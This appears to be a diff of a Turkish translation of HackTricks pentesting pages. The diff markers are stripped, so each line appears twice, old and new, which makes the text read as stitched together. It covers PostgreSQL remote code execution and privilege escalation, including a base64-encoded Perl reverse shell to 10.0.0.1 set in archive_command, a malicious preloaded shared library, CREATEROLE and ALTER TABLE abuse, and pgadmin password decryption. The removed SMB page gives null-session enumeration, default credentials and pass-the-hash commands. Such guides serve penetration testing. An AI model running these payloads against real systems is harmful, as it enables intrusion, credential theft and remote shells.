Bunu test ederken, bunun yalnızca **özel anahtar dosyasının 640 ayrıcalığı varsa**, **root** tarafından sahiplenilmişse ve **ssl-cert veya postgres grubuna** aitse (yani postgres kullanıcısının okuyabilmesi için) ve _/var/lib/postgresql/12/main_ dizininde yer alıyorsa çalışacağını fark ettim.
Bunu test ederken, bunun yalnızca **özel anahtar dosyasının 640 izinlerine sahip olması**, **root** tarafından sahip olunması ve **ssl-cert veya postgres grubuna** ait olması (böylece postgres kullanıcısının okuyabilmesi) ve _/var/lib/postgresql/12/main_ dizininde yer alması durumunda çalışacağını fark ettim.
#### **archive_command ile RCE**
**Daha fazla** [**bilgi için bu yapılandırma ve WAL hakkında buraya**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
**Daha fazla** [**bilgi bu yapılandırma ve WAL hakkında burada**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
Yapılandırma dosyasında istismar edilebilecek bir diğer özellik `archive_command`'dır.
Yapılandırma dosyasında istismar edilebilecek bir diğer nitelik `archive_command`'dır.
Bunun çalışması için, `archive_mode` ayarının `'on'` veya `'always'` olması gerekir. Eğer bu doğruysa, o zaman `archive_command` içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalıştırılmasını zorlayabiliriz.
Bunun çalışması için, `archive_mode` ayarının `'on'` veya `'always'` olması gerekir. Eğer bu doğruysa, o zaman `archive_command` içindeki komutu üzerine yazabilir ve WAL (ön yazma günlüğü) işlemleri aracılığıyla çalıştırılmasını zorlayabiliriz.
Genel adımlar şunlardır:
1. Arşiv modunun etkin olup olmadığını kontrol etme: `SELECT current_setting('archive_mode')`
2. `archive_command`'ı yükle ile üzerine yazma. Örneğin, bir ters kabuk: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
1. Arşiv modunun etkin olup olmadığını kontrol et: `SELECT current_setting('archive_mode')`
2. `archive_command`'ı yükle ile üzerine yaz. Örneğin, bir ters shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Yapılandırmayı yeniden yükle: `SELECT pg_reload_conf()`
4. Arşiv komutunu çağıracak WAL işleminin çalışmasını zorla: `SELECT pg_switch_wal()` veya bazı Postgres sürümleri için `SELECT pg_switch_xlog()`
@ -456,9 +455,9 @@ Genel adımlar şunlardır:
Bu teknik hakkında daha fazla bilgi [burada](https://adeadfed.com/posts/postgresql-select-only-rce/).
Bu saldırı vektörü aşağıdaki yapılandırma değişkenlerinden yararlanmaktadır:
Bu saldırı vektörü, aşağıdaki yapılandırma değişkenlerinden yararlanmaktadır:
- `session_preload_libraries` -- istemci bağlantısında PostgreSQL sunucusu tarafından yüklenecek kütüphaneler.
- `session_preload_libraries` -- PostgreSQL sunucusu tarafından istemci bağlantısında yüklenecek kütüphaneler.
- `dynamic_library_path` -- PostgreSQL sunucusunun kütüphaneleri arayacağı dizinlerin listesi.
`dynamic_library_path` değerini, veritabanını çalıştıran `postgres` kullanıcısı tarafından yazılabilir bir dizine, örneğin `/tmp/` dizinine ayarlayabiliriz ve oraya kötü niyetli bir `.so` nesnesi yükleyebiliriz. Sonra, PostgreSQL sunucusunu, `session_preload_libraries` değişkenine dahil ederek yeni yüklediğimiz kütüphaneyi yüklemeye zorlayacağız.
@ -468,7 +467,7 @@ Saldırı adımları şunlardır:
1. Orijinal `postgresql.conf` dosyasını indirin
2. `/tmp/` dizinini `dynamic_library_path` değerine dahil edin, örneğin `dynamic_library_path = '/tmp:$libdir'`
3. Kötü niyetli kütüphane adını `session_preload_libraries` değerine dahil edin, örneğin `session_preload_libraries = 'payload.so'`
4. `SELECT version()` sorgusu ile ana PostgreSQL sürümünü kontrol edin
4. `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü kontrol edin
5. Kötü niyetli kütüphane kodunu doğru PostgreSQL geliştirme paketi ile derleyin Örnek kod:
```c
@ -519,7 +518,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
6. Adım 2-3'te oluşturulan kötü niyetli `postgresql.conf` dosyasını yükleyin ve orijinal dosyanın üzerine yazın
7. Adım 5'teki `payload.so` dosyasını `/tmp` dizinine yükleyin
8. Sunucu yapılandırmasını sunucuyu yeniden başlatarak veya `SELECT pg_reload_conf()` sorgusunu çağırarak yeniden yükleyin
9. Bir sonraki DB bağlantısında, ters kabuk bağlantısını alacaksınız.
9. Bir sonraki DB bağlantısında, ters shell bağlantısını alacaksınız.
## **Postgres Privesc**
@ -529,7 +528,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
[**Belgeler**](https://www.postgresql.org/docs/13/sql-grant.html)'e göre: _**`CREATEROLE`** ayrıcalığına sahip roller, **süper kullanıcı** olmayan herhangi bir rolün üyeliğini **verebilir veya geri alabilir**._
Yani, eğer **`CREATEROLE`** izniniz varsa, diğer **roller** (süper kullanıcı olmayan) için kendinize erişim verebilir ve dosyaları okuma & yazma ve komutları çalıştırma seçeneği elde edebilirsiniz:
Bu nedenle, eğer **`CREATEROLE`** izniniz varsa, diğer **roller** (süper kullanıcı olmayan) için kendinize erişim verebilir ve dosyaları okuma & yazma ve komutları çalıştırma seçeneği elde edebilirsiniz:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
@ -540,7 +539,7 @@ GRANT pg_write_server_files TO username;
```
#### Şifreyi Değiştir
Bu role sahip kullanıcılar ayrıca diğer **süper kullanıcı olmayan** kullanıcıların **şifrelerini** **değiştirebilir**:
Bu role sahip kullanıcılar, diğer **süper kullanıcı olmayan** kullanıcıların **şifrelerini** de **değiştirebilir**:
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
@ -551,7 +550,7 @@ ALTER USER user_name WITH PASSWORD 'new_password';
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
> [!NOTE]
> [!TIP]
> Bu genellikle **`pg_hba.conf`** dosyasındaki aşağıdaki satırlar nedeniyle mümkündür:
>
> ```bash
@ -565,13 +564,13 @@ COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username>
### **ALTER TABLE privesc**
[**Bu yazıda**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) kullanıcılara verilen ALTER TABLE ayrıcalığını kötüye kullanarak Postgres GCP'de **privesc**'in nasıl mümkün olduğu açıklanmaktadır.
[**bu yazıda**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) kullanıcılara verilen ALTER TABLE ayrıcalığını kötüye kullanarak Postgres GCP'de **privesc**'in nasıl mümkün olduğu açıklanmaktadır.
**Başka bir kullanıcıyı bir tablonun sahibi yapmak** istediğinizde, bunu engelleyen bir **hata** almanız gerekir, ancak görünüşe göre GCP bu **seçeneği süper kullanıcı olmayan postgres kullanıcısına** vermiştir:
<figure><img src="../images/image (537).png" alt=""><figcaption></figcaption></figure>
Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutları bir **indeks fonksiyonu** olan bir **tabloda** çalıştırıldığında, **fonksiyonun** **tablo** **sahibinin izinleriyle** komutun bir parçası olarak **çağrıldığını** göz önünde bulundurarak birleştirirsek, bir fonksiyonla bir indeks oluşturmak ve o tablo üzerinde bir **süper kullanıcıya** sahiplik izinleri vermek mümkündür. Ardından, sahibinin ayrıcalıklarını kullanarak komutları çalıştırabilecek kötü niyetli fonksiyonla tablo üzerinde ANALYZE çalıştırılabilir.
Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutları bir **indeks fonksiyonu** olan bir **tabloda** çalıştırıldığında, **fonksiyonun** **tablo** **sahibinin izinleriyle** komutun bir parçası olarak **çağrıldığını** göz önünde bulundurarak birleştirirsek, bir fonksiyonla bir indeks oluşturmak ve o tablo üzerinde bir **süper kullanıcıya** sahiplik izinleri vermek mümkündür. Ardından, sahibin ayrıcalıklarını kullanarak komutları çalıştırabilecek kötü niyetli fonksiyonla tablonun ANALYZE'ını çalıştırabilirsiniz.
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
@ -582,7 +581,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
1. Yeni bir tablo oluşturarak başlayın.
2. İndeks fonksiyonu için veri sağlamak amacıyla tabloya bazı alakasız içerikler ekleyin.
3. Yetkisiz komutların çalıştırılmasına izin veren bir kod yürütme yükü içeren kötü niyetli bir indeks fonksiyonu geliştirin.
4. Tablo sahibini "cloudsqladmin" olarak DEĞİŞTİRİN; bu, Cloud SQL'in veritabanını yönetmek ve bakımını yapmak için kullandığı GCP'nin süper kullanıcı rolüdür.
4. Tablo sahibini "cloudsqladmin" olarak DEĞİŞTİRİN; bu, Cloud SQL'in veritabanını yönetmek ve sürdürmek için kullandığı GCP'nin süper kullanıcı rolüdür.
5. Tablo üzerinde bir ANALİZ işlemi gerçekleştirin. Bu işlem, PostgreSQL motorunun tablo sahibinin kullanıcı bağlamına, yani "cloudsqladmin" olarak geçmesini zorlar. Sonuç olarak, kötü niyetli indeks fonksiyonu "cloudsqladmin" izinleriyle çağrılır ve böylece daha önce yetkisiz olan shell komutunun çalıştırılmasına olanak tanır.
PostgreSQL'de bu akış şöyle görünür:
@ -606,7 +605,7 @@ LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM
ANALYZE public.temp_table;
```
Sonra, `shell_commands_results` tablosu yürütülen kodun çıktısını içerecektir:
Daha sonra, `shell_commands_results` tablosu yürütülen kodun çıktısını içerecektir:
```
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
@ -631,7 +630,7 @@ RETURNS (result TEXT);
> CREATE EXTENSION dblink;
> ```
Eğer daha fazla ayrıcalığa sahip bir kullanıcının şifresine sahipseniz, ancak bu kullanıcının dış bir IP'den giriş yapmasına izin verilmiyorsa, o kullanıcı olarak sorguları çalıştırmak için aşağıdaki fonksiyonu kullanabilirsiniz:
Eğer daha fazla yetkiye sahip bir kullanıcının şifresine sahipseniz, ancak bu kullanıcının dış bir IP'den giriş yapmasına izin verilmiyorsa, o kullanıcı olarak sorguları çalıştırmak için aşağıdaki fonksiyonu kullanabilirsiniz:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
@ -645,7 +644,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **Özel tanımlı fonksiyon ile** SECURITY DEFINER
[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesterlar IBM tarafından sağlanan bir postgres örneği içinde privesc yapmayı başardılar, çünkü **SECURITY DEFINER bayrağına sahip bu fonksiyonu buldular**:
[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesterlar IBM tarafından sağlanan bir postgres örneği içinde privesc gerçekleştirebildiler, çünkü **SECURITY DEFINER bayrağına sahip bu fonksiyonu buldular**:
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
@ -666,7 +665,7 @@ PERFORM dblink_disconnect();
</code></pre>
[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) **SECURITY DEFINER olan bir fonksiyon** **onu sahip olan kullanıcının** ayrıcalıklarıyla çalıştırılır. Bu nedenle, eğer fonksiyon **SQL Injection'a karşı savunmasızsa** veya **saldırgan tarafından kontrol edilen parametrelerle bazı ayrıcalıklı işlemler yapıyorsa**, bu durum **postgres içinde ayrıcalıkları artırmak için** kötüye kullanılabilir.
[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) **SECURITY DEFINER olan bir fonksiyon**, **onu sahip olan kullanıcının** ayrıcalıklarıyla çalıştırılır. Bu nedenle, eğer fonksiyon **SQL Injection'a karşı savunmasızsa** veya **saldırgan tarafından kontrol edilen parametrelerle bazı ayrıcalıklı işlemler yapıyorsa**, bu durum **postgres içinde ayrıcalıkları artırmak için** kötüye kullanılabilir.
Önceki kodun 4. satırında fonksiyonun **SECURITY DEFINER** bayrağına sahip olduğunu görebilirsiniz.
```sql
@ -678,10 +677,10 @@ Ve sonra **komutları çalıştırın**:
<figure><img src="../images/image (649).png" alt=""><figcaption></figcaption></figure>
### PL/pgSQL ile Parola Kırma
### PL/pgSQL ile Parola Kaba Kuvveti
**PL/pgSQL**, SQL'e kıyasla daha fazla prosedürel kontrol sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanma imkanı sağlar. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dili** kullanılarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlama ve otomasyonu için daha kapsamlı ve çok yönlü bir yaklaşım sağlar.\
**Bu dili, PostgreSQL'den kullanıcı kimlik bilgilerini brute-force yapmasını istemek için kötüye kullanabilirsiniz.**
**PL/pgSQL**, SQL'e kıyasla daha fazla prosedürel kontrol sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanılmasına olanak tanır. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dili** kullanılarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlama ve otomasyonu için daha kapsamlı ve çok yönlü bir yaklaşım sağlar.\
**Bu dili, PostgreSQL'den kullanıcı kimlik bilgilerini kaba kuvvetle kırmasını istemek için kötüye kullanabilirsiniz.**
{{#ref}}
../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md
@ -689,7 +688,7 @@ Ve sonra **komutları çalıştırın**:
### İç PostgreSQL Tablolarını Üzerine Yazarak Privesc
> [!NOTE]
> [!TIP]
> Aşağıdaki privesc vektörü, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebilmesi nedeniyle, kısıtlı SQLi bağlamlarında özellikle yararlıdır.
Eğer **PostgreSQL sunucu dosyalarını okuyup yazabiliyorsanız**, `pg_authid` tablosuyla ilişkili PostgreSQL disk üzerindeki filenode'u üzerine yazarak **süper kullanıcı** olabilirsiniz.
@ -699,7 +698,7 @@ Eğer **PostgreSQL sunucu dosyalarını okuyup yazabiliyorsanız**, `pg_authid`
Saldırı adımları şunlardır:
1. PostgreSQL veri dizinini elde edin
2. `pg_authid` tablosuyla ilişkili filenode için bir göreli yol elde edin
2. `pg_authid` tablosuyla ilişkili filenode için göreli bir yol elde edin
3. `lo_*` fonksiyonları aracılığıyla filenode'u indirin
4. `pg_authid` tablosuyla ilişkili veri tipini alın
5. [PostgreSQL Filenode Editörü](https://github.com/adeadfed/postgresql-filenode-editor) kullanarak [filenode'u düzenleyin](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); tam izinler için tüm `rol*` boolean bayraklarını 1 olarak ayarlayın.
@ -717,7 +716,7 @@ msf> use exploit/windows/postgres/postgres_payload
```
### logging
_**postgresql.conf**_ dosyasının içinde postgresql günlüklerini etkinleştirmek için şunu değiştirebilirsiniz:
Inside the _**postgresql.conf**_ file you can enable postgresql logs changing:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
@ -731,7 +730,7 @@ Sonra, **servisi yeniden başlatın**.
### pgadmin
[pgadmin](https://www.pgadmin.org), PostgreSQL için bir yönetim ve geliştirme platformudur.\
_**pgadmin4.db**_ dosyasının içinde **şifreleri** bulabilirsiniz.\
_**pgadmin4.db**_ dosyasının içinde **şifreler** bulabilirsiniz.\
Bunları, script içindeki _**decrypt**_ fonksiyonunu kullanarak çözebilirsiniz: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
@ -741,7 +740,7 @@ string pgadmin4.db
```
### pg_hba
PostgreSQL'de istemci kimlik doğrulaması, **pg_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilmektedir. Bu dosya, her biri bir bağlantı türü, istemci IP adresi aralığı (varsa), veritabanı adı, kullanıcı adı ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adı ile eşleşen ilk kayıt kimlik doğrulama için kullanılır. Kimlik doğrulama başarısız olursa geri dönüş veya yedek yoktur. Hiçbir kayıt eşleşmezse, erişim reddedilir.
PostgreSQL'de istemci kimlik doğrulaması, **pg_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilmektedir. Bu dosya, her biri bir bağlantı türü, istemci IP adresi aralığı (varsa), veritabanı adı, kullanıcı adı ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, talep edilen veritabanı ve kullanıcı adı ile eşleşen ilk kayıt kimlik doğrulama için kullanılır. Kimlik doğrulama başarısız olursa geri dönüş veya yedek yoktur. Hiçbir kayıt eşleşmezse, erişim reddedilir.
pg_hba.conf'de mevcut olan şifre tabanlı kimlik doğrulama yöntemleri **md5**, **crypt** ve **password**'dır. Bu yöntemler, şifrenin iletilme şekli açısından farklılık gösterir: MD5-hashlenmiş, crypt-şifrelenmiş veya düz metin. Crypt yönteminin, pg_authid'de şifrelenmiş şifrelerle kullanılamayacağını belirtmek önemlidir.

View File

@ -1,532 +0,0 @@
# 139,445 - Pentesting SMB
{{#include ../banners/hacktricks-training.md}}
## **Port 139**
_**Ağ Temel Giriş Çıkış Sistemi**_** (NetBIOS)**, uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, genellikle bilgisayar adından farklı olan ve uzunluğu 16 karaktere kadar çıkabilen NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasında bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) "aramak" için bir komut verdiğinde **TCP Port 139** kullanılarak başlatılır.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Teknik olarak, Port 139 'NBT over IP' olarak adlandırılırken, Port 445 'SMB over IP' olarak tanımlanır. Kısaltma **SMB**, '**Server Message Blocks**' anlamına gelir ve modern olarak **Common Internet File System (CIFS)** olarak da bilinir. Uygulama katmanı ağ protokolü olarak, SMB/CIFS esasen dosyalara, yazıcılara, seri portlara paylaşımlı erişimi sağlamak ve bir ağ üzerindeki düğümler arasında çeşitli iletişim biçimlerini kolaylaştırmak için kullanılır.
Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinden çalışabileceği, böylece TCP/IP üzerinden NetBIOS'a olan gereksinimi ortadan kaldırdığı vurgulanmaktadır; bu, port 445'in kullanımıyla mümkündür. Tersine, farklı sistemlerde port 139'un kullanımı gözlemlenmektedir; bu, SMB'nin TCP/IP üzerinden NetBIOS ile birlikte çalıştığını göstermektedir.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak **dosyalara**, dizinlere ve yazıcılar ve yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlayarak, Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazların, daha eski sürümleri çalıştıranlarla sorunsuz bir şekilde etkileşimde bulunmasına olanak tanır. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır.
**Yerel dosya sisteminin** **rastgele parçalarını** temsil eden paylaşımlar, bir SMB sunucusu tarafından sağlanabilir ve bu, istemciye sunucunun gerçek yapısından kısmen **bağımsız** bir hiyerarşi sunar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **ince ayar kontrolü** sağlar; bu, **`çalıştırma`**, **`okuma`** ve **`tam erişim`** gibi nitelikleri içerir. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanan yerel izinlerden farklıdır.
### IPC$ Share
IPC$ paylaşımına anonim bir null oturumu aracılığıyla erişim sağlanabilir ve bu, adlandırılmış borular aracılığıyla sunulan hizmetlerle etkileşimde bulunmayı mümkün kılar. Bu amaçla `enum4linux` aracı faydalıdır. Doğru kullanıldığında, aşağıdakilerin edinilmesini sağlar:
- İşletim sistemi hakkında bilgi
- Ana alan hakkında ayrıntılar
- Yerel kullanıcılar ve grupların derlemesi
- Mevcut SMB paylaşımları hakkında bilgi
- Etkili sistem güvenlik politikası
Bu işlevsellik, ağ yöneticileri ve güvenlik profesyonellerinin bir ağ üzerindeki SMB (Server Message Block) hizmetlerinin güvenlik durumunu değerlendirmesi için kritik öneme sahiptir. `enum4linux`, hedef sistemin SMB ortamının kapsamlı bir görünümünü sunarak, potansiyel zayıflıkları tanımlamak ve SMB hizmetlerinin düzgün bir şekilde güvence altına alındığından emin olmak için gereklidir.
```bash
enum4linux -a target_ip
```
Yukarıdaki komut, `target_ip` ile belirtilen bir hedefe karşı tam bir enumeration gerçekleştirmek için `enum4linux`'un nasıl kullanılabileceğine dair bir örnektir.
## NTLM Nedir
Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl istismar edileceğini öğrenmek istiyorsanız, **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız; burada **bu protokolün nasıl çalıştığı ve ondan nasıl yararlanabileceğiniz açıklanmaktadır:**
{{#ref}}
../windows-hardening/ntlm/
{{#endref}}
## **Sunucu Enumeration**
### **Ağ** taraması yaparak hostları arama:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB sunucu versiyonu
SMB versiyonuna olası istismarlar aramak için hangi versiyonun kullanıldığını bilmek önemlidir. Bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz:
- **MSF** yardımcı modülünü _**auxiliary/scanner/smb/smb_version**_ kullanın
- Ya da bu scripti kullanın:
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **Arama istismarı**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Olası** Kimlik Bilgileri
| **Kullanıcı Adı(ları)** | **Yaygın Şifreler** |
| ------------------------ | ----------------------------------------- |
| _(boş)_ | _(boş)_ |
| misafir | _(boş)_ |
| Yönetici, admin | _(boş)_, şifre, yönetici, admin |
| arcserve | arcserve, yedek |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, yedek | backupexec, yedek, arcada |
| test, lab, demo | şifre, test, lab, demo |
### Kaba Kuvvet
- [**SMB Kaba Kuvvet**](../generic-methodologies-and-resources/brute-force.md#smb)
### SMB Ortam Bilgisi
### Bilgi Edinme
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Kullanıcıları, Grupları ve Giriş Yapmış Kullanıcıları Listele
Bu bilgiler zaten enum4linux ve enum4linux-ng'den toplanmış olmalıdır.
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Yerel kullanıcıları listele
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
Tek satır
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Yerel kullanıcıları listele
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **LSARPC ve SAMR rpcclient'ı Listeleme**
{{#ref}}
pentesting-smb/rpcclient-enumeration.md
{{#endref}}
### Linux'tan GUI bağlantısı
#### Terminalde:
`xdg-open smb://cascade.htb/`
#### Dosya tarayıcı penceresinde (nautilus, thunar, vb.)
`smb://friendzone.htb/general/`
## Paylaşılan Klasörleri Listeleme
### Paylaşılan klasörleri listele
Her zaman erişim sağlayıp sağlayamayacağınıza bakmanız önerilir, eğer kimlik bilgilerine sahip değilseniz **null** **kimlik bilgileri/konuk kullanıcı** kullanmayı deneyin.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Bağlan/Paylaşılan bir klasörü listele**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Manually enumerate windows shares and connect to them**
